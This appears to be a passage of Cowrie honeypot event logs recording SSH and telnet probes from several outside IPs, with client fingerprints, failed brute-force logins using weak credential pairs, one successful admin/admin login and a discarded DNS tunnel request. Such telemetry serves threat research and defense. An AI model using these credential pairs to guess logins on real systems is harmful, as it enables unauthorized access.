{"eventid":"cowrie.session.closed","duration":30.623621225357056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:47.040115Z","src_ip":"207.244.226.215","session":"411d9acd15e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35818,"dst_ip":"159.203.135.109","dst_port":23,"session":"d75c802341b6","protocol":"telnet","message":"New connection: 207.244.226.215:35818 (159.203.135.109:23) [session: d75c802341b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:48.869802Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40726,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b4dd7ad19e","protocol":"telnet","message":"New connection: 207.244.226.215:40726 (159.203.135.109:23) [session: a1b4dd7ad19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:51.647435Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":35054,"dst_ip":"10.17.0.5","dst_port":22,"session":"2753c3f3f493","protocol":"ssh","message":"New connection: 92.205.57.72:35054 (10.17.0.5:22) [session: 2753c3f3f493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:54.619869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:54.624125Z","src_ip":"92.205.57.72","session":"2753c3f3f493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:54.716111Z","src_ip":"92.205.57.72","session":"2753c3f3f493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loy","password":"deploy","message":"login attempt [loy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:55.117199Z","src_ip":"92.205.57.72","session":"2753c3f3f493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:56.212864Z","src_ip":"92.205.57.72","session":"2753c3f3f493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.642656803131104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:59.046576Z","src_ip":"207.244.226.215","session":"9dadeca2c7c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46472,"dst_ip":"159.203.135.109","dst_port":23,"session":"67da5a9fe418","protocol":"telnet","message":"New connection: 207.244.226.215:46472 (159.203.135.109:23) [session: 67da5a9fe418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:38:59.097045Z"}
{"eventid":"cowrie.session.closed","duration":30.795825481414795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:04.214157Z","src_ip":"207.244.226.215","session":"18baabf0562b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.220281839370728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:08.044119Z","src_ip":"207.244.226.215","session":"ad561ddef18f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739840984344482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:10.072608Z","src_ip":"207.244.226.215","session":"e4e61d9ca168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.142760276794434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:19.012424Z","src_ip":"207.244.226.215","session":"d75c802341b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389190435409546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:22.036458Z","src_ip":"207.244.226.215","session":"a1b4dd7ad19e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95620894432068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:30.053134Z","src_ip":"207.244.226.215","session":"67da5a9fe418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":49530,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fbba4bea4eb","protocol":"ssh","message":"New connection: 92.205.57.72:49530 (10.17.0.5:22) [session: 0fbba4bea4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:45.059842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:45.063960Z","src_ip":"92.205.57.72","session":"0fbba4bea4eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:45.153081Z","src_ip":"92.205.57.72","session":"0fbba4bea4eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin01","password":"12345678","message":"login attempt [admin01/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:45.543379Z","src_ip":"92.205.57.72","session":"0fbba4bea4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52656,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cd4b93ee55e","protocol":"telnet","message":"New connection: 207.244.226.215:52656 (159.203.135.109:23) [session: 9cd4b93ee55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:46.500656Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:46.639797Z","src_ip":"92.205.57.72","session":"0fbba4bea4eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":33592,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b5078c18145","protocol":"telnet","message":"New connection: 207.244.226.215:33592 (159.203.135.109:23) [session: 9b5078c18145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:51.975205Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25026,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb233df91291","protocol":"ssh","message":"New connection: 87.251.64.176:25026 (10.17.0.5:22) [session: fb233df91291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:56.634653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:56.639280Z","src_ip":"87.251.64.176","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:56.735623Z","src_ip":"87.251.64.176","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:57.023905Z","src_ip":"87.251.64.176","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:57.123667Z","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:57.224181Z","src_ip":"87.251.64.176","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:39:57.323631Z","src_ip":"87.251.64.176","session":"fb233df91291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48576,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4a60b2b007","protocol":"telnet","message":"New connection: 207.244.226.215:48576 (159.203.135.109:23) [session: ab4a60b2b007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:00.037944Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43534,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a252cde7257","protocol":"ssh","message":"New connection: 193.32.162.145:43534 (10.17.0.5:22) [session: 7a252cde7257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:16.962491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:16.968305Z","src_ip":"193.32.162.145","session":"7a252cde7257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.547620058059692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:17.048198Z","src_ip":"207.244.226.215","session":"9cd4b93ee55e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:17.067326Z","src_ip":"193.32.162.145","session":"7a252cde7257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51194,"dst_ip":"159.203.135.109","dst_port":23,"session":"13baeba3d7b5","protocol":"telnet","message":"New connection: 207.244.226.215:51194 (159.203.135.109:23) [session: 13baeba3d7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:17.324888Z"}
{"eventid":"cowrie.login.failed","username":"node","password":"solana","message":"login attempt [node/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:17.361093Z","src_ip":"193.32.162.145","session":"7a252cde7257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:18.461448Z","src_ip":"193.32.162.145","session":"7a252cde7257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.059725761413574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:22.034808Z","src_ip":"207.244.226.215","session":"9b5078c18145","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":43908,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e56da2a98bc","protocol":"ssh","message":"New connection: 200.118.150.20:43908 (159.203.135.109:22) [session: 0e56da2a98bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:23.950322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:23.955247Z","src_ip":"200.118.150.20","session":"0e56da2a98bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:24.048190Z","src_ip":"200.118.150.20","session":"0e56da2a98bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtesttesttest","message":"login attempt [test/testtesttesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:24.424325Z","src_ip":"200.118.150.20","session":"0e56da2a98bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:25.516136Z","src_ip":"200.118.150.20","session":"0e56da2a98bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14960479736328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:31.187430Z","src_ip":"207.244.226.215","session":"ab4a60b2b007","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":33212,"dst_ip":"10.17.0.5","dst_port":22,"session":"98baf68bb1b9","protocol":"ssh","message":"New connection: 92.205.57.72:33212 (10.17.0.5:22) [session: 98baf68bb1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:37.115202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:37.120210Z","src_ip":"92.205.57.72","session":"98baf68bb1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:37.209773Z","src_ip":"92.205.57.72","session":"98baf68bb1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"1234","message":"login attempt [user4/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:37.601368Z","src_ip":"92.205.57.72","session":"98baf68bb1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:38.696748Z","src_ip":"92.205.57.72","session":"98baf68bb1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49259662628174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:40:48.817344Z","src_ip":"207.244.226.215","session":"13baeba3d7b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":27639,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4bc390a9294","protocol":"ssh","message":"New connection: 220.247.224.226:27639 (159.203.135.109:22) [session: d4bc390a9294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:41:25.543370Z"}
